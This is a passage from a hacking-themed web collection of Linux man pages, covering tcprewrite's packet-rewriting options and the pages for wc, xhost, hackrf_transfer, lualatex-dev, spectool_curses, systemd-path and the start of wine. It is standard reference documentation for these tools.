Examples:

    --portmap=80:8000 --portmap=8080:80    # 80->8000 and 8080->80
    --portmap=8000,8080,88888:80           # 3 different ports become 80
    --portmap=8000-8999:80                 # ports 8000 to 8999 become 80

Randomize src/dst IPv4/v6 addresses w/ given seed. This option may appear up to 1 times. This option must not appear in combination with any of the following options: fuzz-seed. This option takes an integer number as its argument.

Causes the source and destination IPv4/v6 addresses to be pseudo randomized but still maintain client/server relationships. Since the randomization is deterministic based on the seed, you can reuse the same seed value to recreate the traffic.

Rewrite IPv4/v6 addresses using pseudo-NAT. This option may appear up to 2 times. This option must not appear in combination with any of the following options: srcipmap.

Takes a comma delimited series of colon delimited CIDR netblock pairs. Each netblock pair is evaluated in order against the IP addresses. If the IP address in the packet matches the first netblock, it is rewritten using the second netblock as a mask against the high order bits.

IPv4 Example:

    --pnat=192.168.0.0/16:10.77.0.0/16,172.16.0.0/12:10.1.0.0/24

IPv6 Example:

    --pnat=[2001:db8::/32]:[dead::/16],[2001:db8::/32]:[::ffff:0:0/96]

Rewrite source IPv4/v6 addresses using pseudo-NAT. This option may appear up to 1 times. This option must not appear in combination with any of the following options: pnat.

Works just like the –pnat option, but only affects the source IP addresses in the IPv4/v6 header.

Rewrite destination IPv4/v6 addresses using pseudo-NAT. This option may appear up to 1 times. This option must not appear in combination with any of the following options: pnat.

Works just like the –pnat option, but only affects the destination IP addresses in the IPv4/v6 header.

Rewrite IP addresses to be between two endpoints. This option may appear up to 1 times. This option must appear in combination with the following options: cachefile.

Takes a pair of colon delimited IPv4/v6 addresses which will be used to rewrite all traffic to appear to be between the two IP addresses.

IPv4 Example:

    --endpoints=172.16.0.1:172.16.0.2

IPv6 Example:

    --endpoints=[2001:db8::dead:beef]:[::ffff:0:0:ac:f:0:2]

Change TCP Sequence (and ACK) numbers /w given seed. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

0

Change all TCP sequence numbers, and related sequence-acknowledgement numbers. They will be shifted by a random amount based on the provided seed.

Skip rewriting broadcast/multicast IPv4/v6 addresses.

By default –seed, –pnat and –endpoints will rewrite broadcast and multicast IPv4/v6 and MAC addresses. Setting this flag will keep broadcast/multicast IPv4/v6 and MAC addresses from being rewritten.

Force recalculation of IPv4/TCP/UDP header checksums.

Causes each IPv4/v6 packet to have their checksums recalculated and fixed. Automatically enabled for packets modified with –seed, –pnat, –endpoints or –fixlen.

Alter IP/TCP header len to match packet length.

By default, tcpreplay will send packets with the original packet length, However, you may want the packet length revised to minimum packet size. Using this option, tcpreplay will rewrite (fix) the packet length, and recalculate checksums when packet length changes. Caution: undesired packet changes may occur when this option is specified.

Override default MTU length (1500 bytes). This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  1 through MAX_SNAPLEN

Override the default 1500 byte MTU size for determining the maximum padding length (–fixlen=pad) or when truncating (–mtu-trunc).

Truncate packets larger then specified MTU. This option may appear up to 1 times.

Similar to –fixlen, this option will truncate data in packets from Layer 3 and above to be no larger then the MTU.

Remove Ethernet checksums (FCS) from end of frames.

Note, this option is pretty dangerous! We do not actually check to see if a FCS actually exists in the frame, we just blindly delete the last 4 bytes. Hence, you should only use this if you know know that your OS provides the FCS when reading raw packets.

Modify the IPv4/v6 TTL/Hop Limit.

Allows you to modify the TTL/Hop Limit of all the IPv4/v6 packets. Specify a number to hard-code the value or +/-value to increase or decrease by the value provided (limited to 1-255).

Examples:

    --ttl=10
    --ttl=+7
    --ttl=-64

Set the IPv4 TOS/DiffServ/ECN byte. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 255

Allows you to override the TOS (also known as DiffServ/ECN) value in IPv4.

Set the IPv6 Traffic Class byte. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 255

Allows you to override the IPv6 Traffic Class field.

Set the IPv6 Flow Label. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 1048575

Allows you to override the 20bit IPv6 Flow Label field. Has no effect on IPv4 packets.

Pad or truncate packet data to match header length. This option may appear up to 1 times.

Packets may be truncated during capture if the snaplen is smaller then the packet. This option allows you to modify the packet to pad the packet back out to the size stored in the IPv4/v6 header or rewrite the IP header total length to reflect the stored packet length.

pad Truncated packets will be padded out so that the packet length matches the IPv4 total length

trunc Truncated packets will have their IPv4 total length field rewritten to match the actual packet length

del Delete the packet

Fuzz 1 in X packets. Edit bytes, length, or emulate packet drop. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 0

The default number for this option is:

0

This fuzzing was designed as to test layer 7 protocols such as voip protocols. It modifies randomly 1 out of X packets (where X = –fuzz-factor) in order for stateful protocols to cover more of their code. The random fuzzing actions focus on data start and end because it often is the part of the data application protocols base their decisions on.

Possible fuzzing actions list: * drop packet * reduce packet size * edit packet Bytes: * Not all Bytes have the same probability of appearance in real life. Replace with 0x00, 0xFF, or a random byte with equal likelihood. * Not all Bytes have the same significance in a packet. Replace the start, the end, or the middle of the packet with equal likelihood. * do nothing (7 out of 8 packets)

Set the Fuzz 1 in X packet ratio (default 1 in 8 packets). This option must appear in combination with the following options: fuzz-seed. This option takes an integer number as its argument. The value of number is constrained to being:

greater than or equal to 1

The default number for this option is:

8

Sets the ratio of for –fuzz-seed option. By default this value is 8, which means 1 in 8 packets are modified by fuzzing. Note that this ratio is based on the random number generated by the supplied fuzz seed. Therefore by default you cannot expect that exactly every eighth packet will be modified.

Skip rewriting broadcast/multicast Layer 2 addresses.

By default, editing Layer 2 addresses will rewrite broadcast and multicast MAC addresses. Setting this flag will keep broadcast/multicast MAC addresses from being rewritten.

Override output DLT encapsulation. This option may appear up to 1 times.

By default, no DLT (data link type) conversion will be made. To change the DLT type of the output pcap, select one of the following values:

enet Ethernet aka DLT_EN10MB

hdlc Cisco HDLC aka DLT_C_HDLC

jnpr_eth Juniper Ethernet DLT_C_JNPR_ETHER

pppserial PPP Serial aka DLT_PPP_SERIAL

user User specified Layer 2 header and DLT type

Override destination ethernet MAC addresses. This option may appear up to 1 times.

Takes a pair of comma deliminated ethernet MAC addresses which will replace the destination MAC address of outbound packets. The first MAC address will be used for the server to client traffic and the optional second MAC address will be used for the client to server traffic.

Example:

    --enet-dmac=00:12:13:14:15:16,00:22:33:44:55:66

Override source ethernet MAC addresses. This option may appear up to 1 times.

Takes a pair of comma deliminated ethernet MAC addresses which will replace the source MAC address of outbound packets. The first MAC address will be used for the server to client traffic and the optional second MAC address will be used for the client to server traffic.

Example:

    --enet-smac=00:12:13:14:15:16,00:22:33:44:55:66

Substitute MAC addresses. This option may appear up to 9999 times.

Allows you to rewrite ethernet MAC addresses of packets. It takes comma delimited pair or MACs address and rewrites all occurrences of the first MAC with the value of the second MAC. Example:

    --enet-subsmac=00:12:13:14:15:16,00:22:33:44:55:66

Randomize MAC addresses. This option may appear up to 1 times. This option must not appear in combination with any of the following options: enet-smac, enet-dmac, enet-subsmac. This option takes an integer number as its argument.

Allows you to randomize ethernet MAC addresses of packets, mostly like what –seed option does for IPv4/IPv6 addresses.

Randomize MAC addresses. This option may appear up to 1 times. This option must appear in combination with the following options: enet-mac-seed. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  1 through 6

Keep some bytes untouched when usinging –enet-mac-seed option.

Specify ethernet 802.1q VLAN tag mode. This option may appear up to 1 times.

Allows you to rewrite ethernet frames to add a 802.1q header to standard 802.3 ethernet headers or remove the 802.1q VLAN tag information.

add Adds an 802.1q VLAN header to the existing 802.3 ethernet header. If a VLAN header already exists, a new VLAN header is added outside of the existing header.

Note that you will be allowed to run this option multiple times to create more than 2 VLAN headers, however those packets will be valid. At most you should have 2 X 802.1q VLAN tags, or outer an 802.1ad and an inner 802.1q VLAN tag.

del Rewrites the existing 802.1q VLAN header as an 802.3 ethernet header

Specify the new ethernet 802.1q VLAN tag value. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 4095

Specify the ethernet 802.1q VLAN CFI value. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 1

Specify the ethernet 802.1q VLAN priority. This option may appear up to 1 times. This option must appear in combination with the following options: enet-vlan. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 7

Specify VLAN tag protocol 802.1q or 802.1ad. This option may appear up to 1 times.

Allows you to specify the protocol of the added VLAN tags.

802.1q Specifies that 802.1q VLAN headers are to be added. This is the default.

802.1ad Specifies that 802.1ad Q-in-Q VLAN headers are to be added. To make valid packets, input packets must already have 802.1q VLAN headers.

Specify HDLC control value. This option may appear up to 1 times. This option takes an integer number as its argument.

The Cisco HDLC header has a 1 byte “control” field. Apparently this should always be 0, but if you can use any 1 byte value.

Specify HDLC address. This option may appear up to 1 times. This option takes an integer number as its argument.

The Cisco HDLC header has a 1 byte “address” field which has two valid values:

0x0F Unicast

0xBF Broadcast
You can however specify any single byte value.

Set output file DLT type. This option may appear up to 1 times. This option takes an integer number as its argument.

Set the DLT value of the output pcap file.

Rewrite Data-Link layer with user specified data. This option may appear up to 2 times.

Provide a series of comma deliminated hex values which will be used to rewrite or create the Layer 2 header of the packets. The first instance of this argument will rewrite both server and client traffic, but if this argument is specified a second time, it will be used for the client traffic.

Example:

    --user-dlink=01,02,03,04,05,06,00,1A,2B,3C,4D,5E,6F,08,00

Enable debugging output. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 5

The default number for this option is:

0

If configured with –enable-debug, then you can specify a verbosity level for debugging output. Higher numbers increase verbosity.

Input pcap file to be processed. This option may appear up to 1 times.

Output pcap file. This option may appear up to 1 times.

Split traffic via tcpprep cache file. This option may appear up to 1 times.

Use tcpprep cache file to split traffic based upon client/server relationships.

Print decoded packets via tcpdump to STDOUT. This option may appear up to 1 times.

Arguments passed to tcpdump decoder. This option may appear up to 1 times. This option must appear in combination with the following options: verbose.

When enabling verbose mode (-v) you may also specify one or more additional arguments to pass to tcpdump to modify the way packets are decoded. By default, -n and -l are used. Be sure to quote the arguments so that they are not interpreted by tcprewrite. Please see the tcpdump(1) man page for a complete list of options.

Parse fragroute configuration file. This option may appear up to 1 times.

Enable advanced evasion techniques using the built-in fragroute(8) engine. See the fragroute(8) man page for more details. Important: tcprewrite does not support the delay, echo or print commands.

Which flows to apply fragroute to: c2s, s2c, both. This option may appear up to 1 times. This option must appear in combination with the following options: cachefile.

Apply the fragroute engine to packets going c2s, s2c or both when using a cache file.

Skip writing packets with soft errors. This option may appear up to 1 times.

In some cases, packets can not be decoded or the requested editing is not possible. Normally these packets are written to the output file unedited so that tcpprep cache files can still be used, but if you wish, these packets can be suppressed.

One example of this is 802.11 management frames which contain no data.

Print version information.

Display less usage information and exit.

suppress printing warning messages.

Display usage information and exit.

Pass the extended usage information through a pager.

Save the option state to cfgfile. The default is the last configuration file listed in the OPTION PRESETS section, below. The command will exit after updating the config file.

Load options from cfgfile. The no-load-opts form will disable the loading of earlier config/rc/ini files. –no-load-opts is handled early, out of order.

OPTION PRESETS

Any option that is not marked as not presettable may be preset by loading values from configuration (“RC” or “.INI”) file(s). The homerc file is “$$/”, unless that is a directory. In that case, the file “.tcprewriterc” is searched for within that directory.

FILES

See OPTION PRESETS for configuration files.

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

A specified configuration file could not be loaded.

libopts had an internal operational error. Please report it to [email protected]. Thank you.

AUTHORS

Copyright 2013-2024 Fred Klassen - AppNeta Copyright 2000-2012 Aaron Turner For support please use the [email protected] mailing list. The latest version of this software is always available from: http://tcpreplay.appneta.com/

COPYRIGHT

Copyright (C) 2000-2024 Aaron Turner and Fred Klassen all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later.

BUGS

Please send bug reports to: [email protected]

NOTES

This manual page was AutoGen-erated from the tcprewrite option definitions.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

419 - Linux cli command wc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wc and provides detailed information about the command wc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wc.

NAME 🖥️ wc 🖥️

print newline, word, and byte counts for each file

SYNOPSIS

wc [OPTION]… [FILE]…
wc [OPTION]… –files0-from=F

DESCRIPTION

Print newline, word, and byte counts for each FILE, and a total line if more than one FILE is specified. A word is a non-zero-length sequence of printable characters delimited by white space.

With no FILE, or when FILE is -, read standard input.

The options below may be used to select which counts are printed, always in the following order: newline, word, character, byte, maximum line length.

-c, –bytes
print the byte counts

-m, –chars
print the character counts

-l, –lines
print the newline counts

–files0-from=F
read input from the files specified by NUL-terminated names in file F; If F is - then read names from standard input

-L, –max-line-length
print the maximum display width

-w, –words
print the word counts

–total=WHEN
when to print a line with total counts; WHEN can be: auto, always, only, never

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Paul Rubin and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/wc>
or available locally via: info ‘(coreutils) wc invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

420 - Linux cli command xhost

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xhost and provides detailed information about the command xhost, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xhost.

NAME 🖥️ xhost 🖥️

server access control program for X

SYNOPSIS

xhost [[+-]name …]

DESCRIPTION

The xhost program is used to add and delete host names or user names to the list allowed to make connections to the X server. In the case of hosts, this provides a rudimentary form of privacy control and security. It is only sufficient for a workstation (single user) environment, although it does limit the worst abuses. Environments which require more sophisticated measures should implement the user-based mechanism or use the hooks in the protocol for passing other authentication data to the server.

OPTIONS

Xhost accepts the following command line options described below. For security, the options that affect access control may only be run from the “controlling host”. For workstations, this is the same machine as the server. For X terminals, it is the login host.

-help
Prints a usage message.

**[+]**name
The given name (the plus sign is optional) is added to the list allowed to connect to the X server. The name can be a host name or a complete name (See

NAMES for more details).

**-**name
The given name is removed from the list of allowed to connect to the server. The name can be a host name or a complete name (See

NAMES for more details). Existing connections are not broken, but new connection attempts will be denied. Note that the current machine is allowed to be removed; however, further connections (including attempts to add it back) will not be permitted. Resetting the server (thereby breaking all connections) is the only way to allow local connections again.

+
Access is granted to everyone, even if they aren’t on the list (i.e., access control is turned off).

-
Access is restricted to only those on the list (i.e., access control is turned on).

nothing
If no command line arguments are given, a message indicating whether or not access control is currently enabled is printed, followed by the list of those allowed to connect. This is the only option that may be used from machines other than the controlling host.

NAMES

A complete name has the syntax ``family:name’’ where the families are as follows:

inet	Internet host (IPv4)
inet6	Internet host (IPv6)
dnet	DECnet host
nis	Secure RPC network name
krb	Kerberos V5 principal
local	contains only one name, the empty string
si	Server Interpreted

The family is case insensitive. The format of the name varies with the family.

When Secure RPC is being used, the network independent netname (e.g., “nis:unix.uid@domainname”) can be specified, or a local user can be specified with just the username and a trailing at-sign (e.g., “nis:pat@”).

For backward compatibility with pre-R6 xhost, names that contain an at-sign (@) are assumed to be in the nis family. Otherwise they are assumed to be Internet addresses. If compiled to support IPv6, then all IPv4 and IPv6 addresses returned by getaddrinfo(3) are added to the access list in the appropriate inet or inet6 family.

The local family specifies all the local connections at once. However, the server interpreted address “si:localuser:username” can be used to specify a single local user. (See the Xsecurity(7) manual page for more details.)

Server interpreted addresses consist of a case-sensitive type tag and a string representing a given value, separated by a colon. For example, “si:hostname:almas” is a server interpreted address of type hostname, with a value of almas. For more information on the available forms of server interpreted addresses, see the Xsecurity(7) manual page.

The initial access control list for display number n may be set by the file /etc/Xn*.hosts*, where n is the display number of the server. See Xserver(1) for details.

DIAGNOSTICS

For each name added to the access control list, a line of the form “name being added to access control list” is printed. For each name removed from the access control list, a line of the form “name being removed from access control list” is printed.

SEE ALSO

X(7), Xsecurity(7), Xserver(1), xdm(1), xauth(1), getaddrinfo(3)

ENVIRONMENT

DISPLAY
to get the default host and display to use.

BUGS

You can’t specify a display on the command line because -display is a valid command line argument (indicating that you want to remove the machine named ``display’’ from the access list).

The X server stores network addresses, not host names, unless you use the server-interpreted hostname type address. If somehow you change a host’s network address while the server is still running, and you are using a network-address based form of authentication, xhost must be used to add the new address and/or remove the old address.

AUTHORS

Bob Scheifler, MIT Laboratory for Computer Science,
Jim Gettys, MIT Project Athena (DEC).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

421 - Linux cli command hackrf_transfer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_transfer and provides detailed information about the command hackrf_transfer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_transfer.

NAME 🖥️ hackrf_transfer 🖥️

file based transmit and receive sdr

DESCRIPTION

The HackRF project started by Michael Ossmann and Jared Boone to build software radio peripheral using Free Software and Free Hardware design. Care was taken to only use electronic components with published documentation (no NDAs!) and to avoid software libraries without open source licenses.

Jawbreaker is the first complete HackRF platform, a wideband software radio transceiver with a USB interface.

This application lets the user receive data from RF and transmit data to RF.

SYNOPSIS

hackrf_transfer [OPTIONS]

OPTIONS

-r <filename> # Receive data into file.

-t <filename> # Transmit data from file.

-w # Receive data into file with WAV header and automatic name.

# This is for SDR# compatibility and may not work with other software.

[-f set_freq_hz] # Set Freq in Hz

[-a set_amp] # Set Amp 1=Enable, 0=Disable.

[-l gain_db] # Set lna gain, 0-40dB, 8dB steps

[-i gain_db] # Set vga(if) gain, 0-62dB, 2dB steps

[-x gain_db] # Set TX vga gain, 0-47dB, 1dB steps

[-s sample_rate_hz] # Set sample rate in Hz (8/10/12.5/16/20MHz)

[-n num_samples] # Number of samples to transfer (default is unlimited).

[-b baseband_filter_bw_hz] # Set baseband filter bandwidth in MHz.
Possible values: 1.75/2.5/3.5/5/5.5/6/7/8/9/10/12/14/15/20/24/28MHz, default < sample_rate_hz.

SEE ALSO

Great Scott Gadgets HackRF web page: http://greatscottgadgets.com/hackrf/

Other hackrf programs:

hackrf_cpldjtag(1), hackrf_debug(1), hackrf_info(1), hackrf_spiflash(1)

AUTHOR

This manual page was written by Maitland Bottoms for the Debian project (but may be used by others).

COPYRIGHT

Copyright (c) 2013 A. Maitland Bottoms <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

422 - Linux cli command lualatex-dev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lualatex-dev and provides detailed information about the command lualatex-dev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lualatex-dev.

NAME 🖥️ lualatex-dev 🖥️

dev, pdflatex-dev, xelatex-dev, lualatex-dev, dvilualatex-dev, platex-dev, uplatex-dev - release candidate LaTeX testing

SYNOPSIS

latex-dev [first-line]

DESCRIPTION

These -dev executables are intended for testing upcoming LaTeX2e kernel changes. They correspond to new formats which have been tested by the LaTeX team for stability and usability. Thus, they are not arbitrary development snapshots; more like release candidates.

Wider testing by knowledgeable users is desired, indeed, is the main purpose for these executables to exist. Simply replacing the regular engine (e.g., pdflatex) with the -dev engine name (pdflatex-dev) is all that should be needed.

The lualatex-dev format is based on luahbtex, the luatex variant with harfbuzz enabled for glyph shaping.

Please report bugs in these -dev versions, like all LaTeX releases, following the procedure at https://www.latex-project.org/bugs.

SEE ALSO

latex(1).

The LaTeX home page is https://latex-project.org.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

423 - Linux cli command spectool_curses

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command spectool_curses and provides detailed information about the command spectool_curses, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the spectool_curses.

NAME 🖥️ spectool_curses 🖥️

Spy

SYNOPSIS

spectool_curses [-n network server] [-b*]*

DESCRIPTION

spectool_curses is a simple tool which extracts data from the Wi-Spy device. It can be used to create other tools or scripts.

OPTIONS

This program follows the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-h –help
Show summary of options.

-n tcp://host:port –net tcp://host:port
Connect to network server instead of local USB devices.

SEE ALSO

spectool_gtk (1), spectool_raw (1), spectool_net (1).

AUTHOR

This manual page was written by Francois Marier <[email protected]> for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 3 any later version published by the Free Software Foundation.

On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

424 - Linux cli command systemd-path

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-path and provides detailed information about the command systemd-path, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-path.

NAME 🖥️ systemd-path 🖥️

path - List and query system and user paths

SYNOPSIS

systemd-path [OPTIONS…] [NAME…]

DESCRIPTION

systemd-path may be used to query system and user paths. The tool makes many of the paths described in file-hierarchy(7) available for querying.

When invoked without arguments, a list of known paths and their current values is shown. When at least one argument is passed, the path with this name is queried and its value shown. The variables whose name begins with “search-” do not refer to individual paths, but instead to a list of colon-separated search paths, in their order of precedence.

OPTIONS

The following options are understood:

–suffix=

Printed paths are suffixed by the specified string.

Added in version 215.

–no-pager

Do not pipe output into a pager.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), file-hierarchy(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

425 - Linux cli command wine

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wine and provides detailed information about the command wine, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wine.

NAME 🖥️ wine 🖥️

run Windows programs on Unix

SYNOPSIS

wine *program *[arguments]
wine –help
wine –version

